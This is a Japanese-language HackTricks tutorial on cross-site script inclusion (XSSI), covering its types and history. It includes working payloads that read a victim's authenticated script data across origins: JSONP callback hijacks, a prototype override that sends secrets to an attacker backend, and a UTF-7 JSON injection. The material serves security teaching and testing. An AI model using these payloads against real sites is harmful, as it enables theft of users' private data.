10 KiB
XSSI(クロスサイトスクリプトインクルージョン)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
情報はhttps://www.scip.ch/en/?labs.20160414から取得されました。
基本情報
XSSIは、script
タグを使用してリソースをインクルードする場合、SOPが適用されないという事実を利用した脆弱性を指します。スクリプトはクロスドメインでインクルードできる必要があるため、攻撃者は**script
タグを使用してインクルードされたすべての情報を読み取る**ことができます。
これは特に、動的なJavaScriptやJSONPの場合に興味深いです。これらでは、クッキーなどの環境権限情報が認証に使用されます。クッキーは、異なるホストからリソースを要求する際に含まれます。
タイプ
- 静的なJavaScript(通常のXSSI)
- 認証された場合にのみアクセス可能な静的なJavaScript
- 動的なJavaScript
- 非JavaScript
通常のXSSI
プライベート情報は、グローバルにアクセス可能なJSファイル内にあります。ファイルを読み取ったり、キーワードを検索したり、正規表現を使用してこれを検出することができます。
これを悪意のあるコンテンツ内に含まれるプライベート情報のスクリプトとしてインクルードするだけで、これを悪用することができます。
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
Dynamic-JavaScript-based-XSSIとAuthenticated-JavaScript-XSSI
ユーザーがリクエストすると、スクリプトに機密情報が追加されます。これは、リクエストをクッキーありとクッキーなしで送信することで簡単に発見できます。異なる情報が取得される場合、機密情報が含まれている可能性があります。これを自動的に行うには、burp拡張機能を使用できます:https://github.com/luh2/DetectDynamicJS。
もし情報がグローバル変数内に存在する場合、前述のケースと同じコードを使用してそれを悪用することができます。
もし機密データがJSONPレスポンス内に送信される場合、実行される関数を上書きして情報を取得することができます:
<script>
//The confidential info will be inside the callback to angular.callbacks._7: angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
また、JSONPレスポンスによって実行される準備された関数を設定することもできます。
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
もし変数がグローバルな名前空間に存在しない場合、_prototype tampering_を使用してそれを悪用することができることがあります。Prototype tamperingはJavaScriptの設計を悪用しており、具体的にはコードを解釈する際にJavaScriptがプロトタイプチェーンをたどって呼び出されたプロパティを見つけるという仕組みを利用しています。以下の例は、The Unexpected Dangers of Dynamic JavaScriptという論文から抜粋されたもので、Array
型の関連する関数を上書きし、this
にアクセスすることで、非グローバルな変数が漏洩する様子を示しています。
(function(){
var arr = ["secret1", "secret2", "secret3"];
// intents to slice out first entry
var x = arr.slice(1);
...
})();
オリジナルのコードでは、Array
型のslice
が私たちが興味を持っているデータにアクセスしています。攻撃者は、前述の節で説明したように、slice
を上書きして秘密情報を盗むことができます。
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
セキュリティ研究者のSebastian Lekiesは最近、ベクトルのリストを更新しました。
Non-Script-XSSI
Takeshi Teradaは、彼の論文Identifier based XSSI attacksで別の種類のXSSIを説明しています。彼は、script
タグでソースとしてCSVファイルを含め、データを変数や関数名として使用することで、Non-Scriptファイルをクロスオリジンで漏洩させることができました。
最初に公に文書化されたXSSI攻撃は2006年に行われました。Jeremiah Grossmanのブログ記事Advanced Web Attack Techniques using GMailでは、Array
コンストラクタをオーバーライドすることで、Googleアカウントの完全なアドレス帳を読み取ることができるXSSIが描かれています。
2007年には、Joe WalkerがJSON is not as safe as people think it isを公開しました。彼は、Array
内にあるJSONを盗むために同じアイデアを使用しています。
関連する他の攻撃では、JSONにUTF-7エンコードされたコンテンツを注入してJSON形式をエスケープすることが行われました。これは、Hackvertorの作者であるGareth Heyesによって2011年に公開されたブログ記事JSON Hijackingで説明されています。クイックテストでは、これはMicrosoft Internet ExplorerとEdgeではまだ可能でしたが、Mozilla FirefoxやGoogle Chromeでは不可能でした。
UTF-7を使用したJSON:
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
攻撃者のページにJSONを含める
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm.
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。